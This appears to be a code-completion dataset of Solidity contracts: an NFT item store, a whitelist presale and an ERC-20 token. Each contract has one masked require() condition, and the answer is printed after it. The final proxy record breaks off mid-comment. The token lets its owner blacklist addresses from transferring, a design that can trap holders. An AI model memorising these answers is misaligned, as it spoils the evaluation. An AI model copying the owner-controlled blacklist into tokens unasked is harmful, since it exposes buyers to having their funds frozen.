/// @notice Allows authorized individuals to specify which address Ether and other arbitrary ERC-20 tokens
/// should be sent to during withdraw
function setWithdrawAddress(address payable addr) external onlyOwnerOrAdmin {
}
function withdraw(uint256 amount) external onlyOwnerOrAdmin {
}
/// @dev Any random ERC-20 tokens sent to this contract will be locked forever, unless we rescue them
function rescueArbitraryERC20(IERC20 token) external {
}
modifier nonZeroQuantity(uint256 qty) {
}
modifier whenStoreActive() {
}
}
| address(awooMintableCollectionContract)!=address(0),"Awoo collection has not been set" | 207,382 | address(awooMintableCollectionContract)!=address(0) |
null | pragma solidity 0.8.12;
contract AwooStore is OwnerAdminGuard {
struct AwooSpendApproval {
bytes32 Hash;
bytes Sig;
string Nonce;
}
enum PaymentType {
AWOO,
ETHER,
AWOO_AND_ETHER,
FREE
}
struct UpgradeDetail {
uint8 ApplicableCollectionId;
uint256 UpgradeBaseAccrualRate;
bool UpgradeItem;
bool Stackable;
}
struct ItemDetail {
IAwooMintableCollection.TokenDetail TokenDetails;
UpgradeDetail UpgradeDetails;
string MetadataUri;
uint256 TokenId;
PaymentType PmtType;
uint256 EtherPrice;
uint256 AWOOPrice;
uint256 TotalAvailable;
bool Burnable;
bool NonMintable;
bool Active;
uint256 PerAddressLimit;
uint256 PerTransactionLimit;
}
address payable public withdrawAddress;
IAwooToken public awooContract;
IAwooClaimingV2 public awooClaimingContract;
IAwooMintableCollection public awooMintableCollectionContract;
bool public storeActive;
/// @dev Helps us track the supported ERC721Enumerable contracts so we can refer to them by their "id" to save a bit of gas
uint8 public collectionCount;
/// @dev Helps us track the available items so we can refer to them by their "id" to save a bit of gas
uint16 public itemCount;
/// @notice Maps the supported ERC721Enumerable contracts to their Ids
mapping(uint8 => address) public collectionIdAddressMap;
/// @notice Maps the available items to their Ids
mapping(uint16 => ItemDetail) public itemIdDetailMap;
/// @notice Maps the number of purchased items when those items cannot be minted
mapping(uint16 => uint256) public nonMintedItemPurchaseCounts;
/// @notice Maps item ownership counts
// owner => (itemId, count). This is only relevant for items that weren't minted
mapping(address => mapping(uint16 => uint256)) public ownedItemCountsByOwner;
/// @notice Keeps track of how many of each token has been minted by a particular address
// owner => (itemId, count)
mapping(address => mapping(uint16 => uint256)) public mintedItemCountsByAddress;
/// @notice Keeps track of "upgrade" item applications
mapping(uint16 => mapping(uint8 => uint256[])) public itemApplications;
/// @notice Keeps track of "upgrade" items by the collection that they were applied to
// collectionId => (tokenId, (itemId => count))
mapping(uint8 => mapping(uint32 => mapping(uint16 => uint256))) public tokenAppliedItemCountsByCollection;
/// @notice A method that tells us that an "upgrade" item was applied so we can do some cool stuff
event UpgradeItemApplied(uint16 itemId, address applicationCollectionAddress, uint256 appliedToTokenId);
// ;)
event NonMintedItemUsed(uint16 itemId, address usedBy, uint256 qty);
constructor(address payable withdrawAddr, IAwooToken awooTokenContract, IAwooClaimingV2 claimingContract){
}
/// @notice Allows the specified item to be minted with AWOO
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with Ether
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
function mintWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with both AWOO and Ether, if the item supports that
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with Ether
/// @param itemId The id of the item to purchase
/// @param qty The numbers of items to purchase
function purchaseWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, if the item allows it
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public whenStoreActive {
}
/// @notice Allows the specified item to be purchased with Ether and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEth(uint16 itemId, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, and the tokens the items should be applied to
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEthAndAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
// TODO: Add the free mint/purchase functionality (V2)
/// @notice Applies the specified item to the list of "upgradeable" tokens
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyOwnedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
/// @notice Allows the holder of a non-mintable item to "use" it for something (TBA) cool
/// @param itemId The id of the item to use
/// @param qty The number of items to use
function useOwnedItem(uint16 itemId, uint256 qty) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Applies the specified item to the list of "upgradeable" tokens, and burns the item if applicable
/// @dev Tokens can only be burned if the holder has explicitly allowed us to do so
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyMintedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
function applyItem(uint16 itemId, uint32[] calldata applicationTokenIds) private {
}
function applyItem(ItemDetail memory item, uint16 itemId, uint32 applicationTokenId) private {
}
function claimAwoo(ClaimDetails[] calldata requestedClaims) private {
}
/// @notice Allows authorized individuals to add supported ERC721Enumerable collections
function addCollection(address collectionAddress) external onlyOwnerOrAdmin returns(uint8 collectionId){
}
/// @notice Allows authorized individuals to remove supported ERC721Enumerable collections
function removeCollection(uint8 collectionId) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to add new items
function addItem(ItemDetail memory item) external onlyOwnerOrAdmin returns(uint16) {
}
/// @notice Allows authorized individuals to update an existing item
function updateItem(uint16 itemId, ItemDetail memory newItem) external onlyOwnerOrAdmin {
}
function validateRequestedQuantity(uint16 itemId, ItemDetail memory item, uint256 requestedQty) private view {
}
function ensureAvailablity(ItemDetail memory item, uint16 itemId, uint256 requestedQty) private view {
}
function availableQty(uint16 itemId) public view returns(uint256){
}
function availableQty(ItemDetail memory item, uint16 itemId) private view returns(uint256) {
}
/// @notice Determines if the requested quantity is within the per-transaction limit defined by this item
function isWithinTransactionLimit(ItemDetail memory item, uint256 requestedQty) public pure returns(bool) {
}
/// @notice Determines if the requested quantity is within the per-address limit defined by this item
function isWithinAddressLimit(uint16 itemId, ItemDetail memory item, uint256 requestedQty, address recipient) public view returns(bool) {
}
/// @notice Returns an array of tokenIds and application counts to indicate how many of the specified items
/// were applied to the specified tokenIds
function checkItemTokenApplicationStatus(uint8 collectionId, uint16 itemId, uint256[] calldata tokenIds
) external view returns(uint256[] memory, uint256[] memory){
}
function validateEtherValue(ItemDetail memory item, uint256 qty) private {
}
function validateItem(uint16 itemId) private view returns(ItemDetail memory item){
}
function validateItem(ItemDetail memory item) private view {
}
/// @notice Allows authorized individuals to swap out claiming contract
function setAwooClaimingContract(IAwooClaimingV2 awooClaiming) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-1155 collection contract, if absolutely necessary
function setAwooCollection(IAwooMintableCollection awooCollectionContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-20 AWOO contract, if absolutely necessary
function setAwooTokenContract(IAwooToken awooTokenContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate this contract
function setActive(bool active) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate specific items
function setItemActive(uint16 itemId, bool isActive) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to specify which address Ether and other arbitrary ERC-20 tokens
/// should be sent to during withdraw
function setWithdrawAddress(address payable addr) external onlyOwnerOrAdmin {
}
function withdraw(uint256 amount) external onlyOwnerOrAdmin {
require(amount <= address(this).balance, "Amount exceeds balance");
require(<FILL_ME>)
}
/// @dev Any random ERC-20 tokens sent to this contract will be locked forever, unless we rescue them
function rescueArbitraryERC20(IERC20 token) external {
}
modifier nonZeroQuantity(uint256 qty) {
}
modifier whenStoreActive() {
}
}
| payable(withdrawAddress).send(amount) | 207,382 | payable(withdrawAddress).send(amount) |
"Transfer failed" | pragma solidity 0.8.12;
contract AwooStore is OwnerAdminGuard {
struct AwooSpendApproval {
bytes32 Hash;
bytes Sig;
string Nonce;
}
enum PaymentType {
AWOO,
ETHER,
AWOO_AND_ETHER,
FREE
}
struct UpgradeDetail {
uint8 ApplicableCollectionId;
uint256 UpgradeBaseAccrualRate;
bool UpgradeItem;
bool Stackable;
}
struct ItemDetail {
IAwooMintableCollection.TokenDetail TokenDetails;
UpgradeDetail UpgradeDetails;
string MetadataUri;
uint256 TokenId;
PaymentType PmtType;
uint256 EtherPrice;
uint256 AWOOPrice;
uint256 TotalAvailable;
bool Burnable;
bool NonMintable;
bool Active;
uint256 PerAddressLimit;
uint256 PerTransactionLimit;
}
address payable public withdrawAddress;
IAwooToken public awooContract;
IAwooClaimingV2 public awooClaimingContract;
IAwooMintableCollection public awooMintableCollectionContract;
bool public storeActive;
/// @dev Helps us track the supported ERC721Enumerable contracts so we can refer to them by their "id" to save a bit of gas
uint8 public collectionCount;
/// @dev Helps us track the available items so we can refer to them by their "id" to save a bit of gas
uint16 public itemCount;
/// @notice Maps the supported ERC721Enumerable contracts to their Ids
mapping(uint8 => address) public collectionIdAddressMap;
/// @notice Maps the available items to their Ids
mapping(uint16 => ItemDetail) public itemIdDetailMap;
/// @notice Maps the number of purchased items when those items cannot be minted
mapping(uint16 => uint256) public nonMintedItemPurchaseCounts;
/// @notice Maps item ownership counts
// owner => (itemId, count). This is only relevant for items that weren't minted
mapping(address => mapping(uint16 => uint256)) public ownedItemCountsByOwner;
/// @notice Keeps track of how many of each token has been minted by a particular address
// owner => (itemId, count)
mapping(address => mapping(uint16 => uint256)) public mintedItemCountsByAddress;
/// @notice Keeps track of "upgrade" item applications
mapping(uint16 => mapping(uint8 => uint256[])) public itemApplications;
/// @notice Keeps track of "upgrade" items by the collection that they were applied to
// collectionId => (tokenId, (itemId => count))
mapping(uint8 => mapping(uint32 => mapping(uint16 => uint256))) public tokenAppliedItemCountsByCollection;
/// @notice A method that tells us that an "upgrade" item was applied so we can do some cool stuff
event UpgradeItemApplied(uint16 itemId, address applicationCollectionAddress, uint256 appliedToTokenId);
// ;)
event NonMintedItemUsed(uint16 itemId, address usedBy, uint256 qty);
constructor(address payable withdrawAddr, IAwooToken awooTokenContract, IAwooClaimingV2 claimingContract){
}
/// @notice Allows the specified item to be minted with AWOO
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with Ether
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
function mintWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with both AWOO and Ether, if the item supports that
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with Ether
/// @param itemId The id of the item to purchase
/// @param qty The numbers of items to purchase
function purchaseWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, if the item allows it
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public whenStoreActive {
}
/// @notice Allows the specified item to be purchased with Ether and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEth(uint16 itemId, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, and the tokens the items should be applied to
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEthAndAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
// TODO: Add the free mint/purchase functionality (V2)
/// @notice Applies the specified item to the list of "upgradeable" tokens
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyOwnedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
/// @notice Allows the holder of a non-mintable item to "use" it for something (TBA) cool
/// @param itemId The id of the item to use
/// @param qty The number of items to use
function useOwnedItem(uint16 itemId, uint256 qty) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Applies the specified item to the list of "upgradeable" tokens, and burns the item if applicable
/// @dev Tokens can only be burned if the holder has explicitly allowed us to do so
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyMintedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
function applyItem(uint16 itemId, uint32[] calldata applicationTokenIds) private {
}
function applyItem(ItemDetail memory item, uint16 itemId, uint32 applicationTokenId) private {
}
function claimAwoo(ClaimDetails[] calldata requestedClaims) private {
}
/// @notice Allows authorized individuals to add supported ERC721Enumerable collections
function addCollection(address collectionAddress) external onlyOwnerOrAdmin returns(uint8 collectionId){
}
/// @notice Allows authorized individuals to remove supported ERC721Enumerable collections
function removeCollection(uint8 collectionId) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to add new items
function addItem(ItemDetail memory item) external onlyOwnerOrAdmin returns(uint16) {
}
/// @notice Allows authorized individuals to update an existing item
function updateItem(uint16 itemId, ItemDetail memory newItem) external onlyOwnerOrAdmin {
}
function validateRequestedQuantity(uint16 itemId, ItemDetail memory item, uint256 requestedQty) private view {
}
function ensureAvailablity(ItemDetail memory item, uint16 itemId, uint256 requestedQty) private view {
}
function availableQty(uint16 itemId) public view returns(uint256){
}
function availableQty(ItemDetail memory item, uint16 itemId) private view returns(uint256) {
}
/// @notice Determines if the requested quantity is within the per-transaction limit defined by this item
function isWithinTransactionLimit(ItemDetail memory item, uint256 requestedQty) public pure returns(bool) {
}
/// @notice Determines if the requested quantity is within the per-address limit defined by this item
function isWithinAddressLimit(uint16 itemId, ItemDetail memory item, uint256 requestedQty, address recipient) public view returns(bool) {
}
/// @notice Returns an array of tokenIds and application counts to indicate how many of the specified items
/// were applied to the specified tokenIds
function checkItemTokenApplicationStatus(uint8 collectionId, uint16 itemId, uint256[] calldata tokenIds
) external view returns(uint256[] memory, uint256[] memory){
}
function validateEtherValue(ItemDetail memory item, uint256 qty) private {
}
function validateItem(uint16 itemId) private view returns(ItemDetail memory item){
}
function validateItem(ItemDetail memory item) private view {
}
/// @notice Allows authorized individuals to swap out claiming contract
function setAwooClaimingContract(IAwooClaimingV2 awooClaiming) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-1155 collection contract, if absolutely necessary
function setAwooCollection(IAwooMintableCollection awooCollectionContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-20 AWOO contract, if absolutely necessary
function setAwooTokenContract(IAwooToken awooTokenContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate this contract
function setActive(bool active) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate specific items
function setItemActive(uint16 itemId, bool isActive) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to specify which address Ether and other arbitrary ERC-20 tokens
/// should be sent to during withdraw
function setWithdrawAddress(address payable addr) external onlyOwnerOrAdmin {
}
function withdraw(uint256 amount) external onlyOwnerOrAdmin {
}
/// @dev Any random ERC-20 tokens sent to this contract will be locked forever, unless we rescue them
function rescueArbitraryERC20(IERC20 token) external {
uint256 balance = token.balanceOf(address(this));
require(balance > 0, "Contract has no balance");
require(<FILL_ME>)
}
modifier nonZeroQuantity(uint256 qty) {
}
modifier whenStoreActive() {
}
}
| token.transfer(payable(withdrawAddress),balance),"Transfer failed" | 207,382 | token.transfer(payable(withdrawAddress),balance) |
"invalid proof" | pragma solidity ^0.8.0;
contract Presale is Ownable {
using SafeERC20 for IERC20;
struct User {
uint amountIn;
uint amountOut;
uint vesting_time;
uint claimed;
}
IERC20 public immutable TOKEN;
uint public immutable VESTING_TIME_WL;
uint public immutable VESTING_TIME;
mapping(address => User) public users;
bytes32 public ROOT;
uint public totalOut;
uint public totalTokens;
uint public state;
uint public START_CLAIM_TIME;
uint public MIN_AMOUNT_IN;
uint public MAX_AMOUNT_IN;
uint public MAX_TOTAL_OUT;
uint public MAX_SALE;
uint public actualSale;
uint public price;
constructor(IERC20 _token, uint _vestingTime, uint _vestingTimeWL,uint _minAmountIn, uint _maxAmountIn, uint _maxTotalOut, uint _price, address _multisig) {
}
function setOptions(uint _minAmountIn, uint _maxAmountIn, uint _price) external onlyOwner {
}
function setMaxAmounts(uint _minAmountIn, uint _maxAmountIn) external onlyOwner {
}
function setMaxTotalOut(uint _maxTotalOut) external onlyOwner {
}
function setPrice(uint _price) external onlyOwner {
}
function setTotalTokens(uint amount) external onlyOwner {
}
function startWL(bytes32 root, uint _max_sale) external onlyOwner {
}
function pause() external onlyOwner {
}
function startPublic() external onlyOwner {
}
function startClaim(uint additionalTime) external onlyOwner {
}
function purchaseWL(bytes32[] calldata proof) external payable {
require(state == 1, "purchase WL is off");
require(msg.value >= MIN_AMOUNT_IN, "amount in too low");
bytes32 leaf = keccak256(abi.encodePacked(_msgSender()));
require(<FILL_ME>)
User storage user = users[_msgSender()];
user.amountIn += msg.value;
uint amountOut = msg.value * price;
require(user.amountIn <= MAX_AMOUNT_IN, "max amount in reached");
require(MAX_TOTAL_OUT >= totalOut + amountOut, "total amount out reached");
require(MAX_SALE >= actualSale + user.amountIn, "Actual Sale completed");
actualSale += user.amountIn;
user.vesting_time = VESTING_TIME_WL;
user.amountOut += amountOut;
totalOut += amountOut;
}
function purchasePublic() external payable {
}
function claim() external {
}
function pendingOf(address who) public view returns (uint) {
}
}
| MerkleProof.verify(proof,ROOT,leaf),"invalid proof" | 207,406 | MerkleProof.verify(proof,ROOT,leaf) |
"Token: Bad address" | pragma solidity >=0.5.0;
interface IWETH {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function withdraw(uint256) external;
}
contract ETHToken is ERC20, Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
uint256 public killTime = 30;
uint256 public killTime2 = 300;
uint256 public maxBuyNum = 60;
mapping(address => uint256) public buyAmount;
event Trade(
address user,
address pair,
uint256 amount,
uint side,
uint256 circulatingSupply,
uint timestamp
);
event AddLiquidity(
uint256 tokenAmount,
uint256 ethAmount,
uint256 timestamp
);
event SwapBackSuccess(uint256 amount, bool success);
bool public addLiquidityEnabled = true;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public canAddLiquidityBeforeLaunch;
uint256 public launchedAtTimestamp;
mapping(address => bool) public isBad;
address public pool;
address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
address private constant ZERO = 0x0000000000000000000000000000000000000000;
EnumerableSet.AddressSet private _pairs;
constructor() ERC20("btt", "btt") {
}
function decimals() public view virtual override returns (uint8) {
}
function transfer(
address to,
uint256 amount
) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _dogTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
bool isExempt = isFeeExempt[sender] || isFeeExempt[recipient];
require(<FILL_ME>)
if (!canAddLiquidityBeforeLaunch[sender]) {
require(
launched() || isFeeExempt[sender] || isFeeExempt[recipient],
"Trading not open yet"
);
}
bool shouldTakeFee = (!isFeeExempt[sender] &&
!isFeeExempt[recipient]) && launched();
if (shouldTakeFee) {
kill(sender, recipient, amount);
}
_transfer(sender, recipient, amount);
return true;
}
function getPrice() public view returns (uint256 price) {
}
function kill(address sender, address recipient, uint256 amount) internal {
}
function launched() internal view returns (bool) {
}
function rescueToken(address tokenAddress) external onlyOwner {
}
function clearStuckEthBalance() external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
/*** ADMIN FUNCTIONS ***/
function setLaunchedAtTimestamp(
uint256 _launchedAtTimestamp
) external onlyOwner {
}
function setCanAddLiquidityBeforeLaunch(
address _address,
bool _value
) external onlyOwner {
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
}
function setIsFeeExempts(
address[] calldata holders,
bool exempt
) external onlyOwner {
}
function setAddLiquidityEnabled(bool _enabled) external onlyOwner {
}
function isPair(address account) public view returns (bool) {
}
function addPair(address pair) public onlyOwner returns (bool) {
}
function setBad(address _address, bool _isBad) external onlyOwner {
}
function setBads(
address[] calldata _addresses,
bool _isBad
) external onlyOwner {
}
function delPair(address pair) public onlyOwner returns (bool) {
}
function getMinterLength() public view returns (uint256) {
}
function setMaxBuyNum(uint256 _maxBuyNum) external onlyOwner {
}
function setKillTime(uint256 _killTime) external onlyOwner {
}
function setKillTime2(uint256 _killTime) external onlyOwner {
}
function getPair(uint256 index) public view returns (address) {
}
receive() external payable {}
}
| (!isBad[sender])||isExempt,"Token: Bad address" | 207,438 | (!isBad[sender])||isExempt |
"Trading not open yet" | pragma solidity >=0.5.0;
interface IWETH {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function withdraw(uint256) external;
}
contract ETHToken is ERC20, Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
uint256 public killTime = 30;
uint256 public killTime2 = 300;
uint256 public maxBuyNum = 60;
mapping(address => uint256) public buyAmount;
event Trade(
address user,
address pair,
uint256 amount,
uint side,
uint256 circulatingSupply,
uint timestamp
);
event AddLiquidity(
uint256 tokenAmount,
uint256 ethAmount,
uint256 timestamp
);
event SwapBackSuccess(uint256 amount, bool success);
bool public addLiquidityEnabled = true;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public canAddLiquidityBeforeLaunch;
uint256 public launchedAtTimestamp;
mapping(address => bool) public isBad;
address public pool;
address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
address private constant ZERO = 0x0000000000000000000000000000000000000000;
EnumerableSet.AddressSet private _pairs;
constructor() ERC20("btt", "btt") {
}
function decimals() public view virtual override returns (uint8) {
}
function transfer(
address to,
uint256 amount
) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _dogTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
bool isExempt = isFeeExempt[sender] || isFeeExempt[recipient];
require((!isBad[sender]) || isExempt, "Token: Bad address");
if (!canAddLiquidityBeforeLaunch[sender]) {
require(<FILL_ME>)
}
bool shouldTakeFee = (!isFeeExempt[sender] &&
!isFeeExempt[recipient]) && launched();
if (shouldTakeFee) {
kill(sender, recipient, amount);
}
_transfer(sender, recipient, amount);
return true;
}
function getPrice() public view returns (uint256 price) {
}
function kill(address sender, address recipient, uint256 amount) internal {
}
function launched() internal view returns (bool) {
}
function rescueToken(address tokenAddress) external onlyOwner {
}
function clearStuckEthBalance() external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
/*** ADMIN FUNCTIONS ***/
function setLaunchedAtTimestamp(
uint256 _launchedAtTimestamp
) external onlyOwner {
}
function setCanAddLiquidityBeforeLaunch(
address _address,
bool _value
) external onlyOwner {
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
}
function setIsFeeExempts(
address[] calldata holders,
bool exempt
) external onlyOwner {
}
function setAddLiquidityEnabled(bool _enabled) external onlyOwner {
}
function isPair(address account) public view returns (bool) {
}
function addPair(address pair) public onlyOwner returns (bool) {
}
function setBad(address _address, bool _isBad) external onlyOwner {
}
function setBads(
address[] calldata _addresses,
bool _isBad
) external onlyOwner {
}
function delPair(address pair) public onlyOwner returns (bool) {
}
function getMinterLength() public view returns (uint256) {
}
function setMaxBuyNum(uint256 _maxBuyNum) external onlyOwner {
}
function setKillTime(uint256 _killTime) external onlyOwner {
}
function setKillTime2(uint256 _killTime) external onlyOwner {
}
function getPair(uint256 index) public view returns (address) {
}
receive() external payable {}
}
| launched()||isFeeExempt[sender]||isFeeExempt[recipient],"Trading not open yet" | 207,438 | launched()||isFeeExempt[sender]||isFeeExempt[recipient] |
null | pragma solidity 0.4.24;
import "./UpgradeabilityProxy.sol";
import "./UpgradeabilityOwnerStorage.sol";
/**
* @title OwnedUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with basic authorization control functionalities
*/
contract OwnedUpgradeabilityProxy is UpgradeabilityOwnerStorage, UpgradeabilityProxy {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev the constructor sets the original owner of the contract to the sender account.
*/
constructor() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyUpgradeabilityOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferProxyOwnership(address newOwner) external onlyUpgradeabilityOwner {
}
/**
* @dev Allows the upgradeability owner to upgrade the current version of the proxy.
* @param version representing the version name of the new implementation to be set.
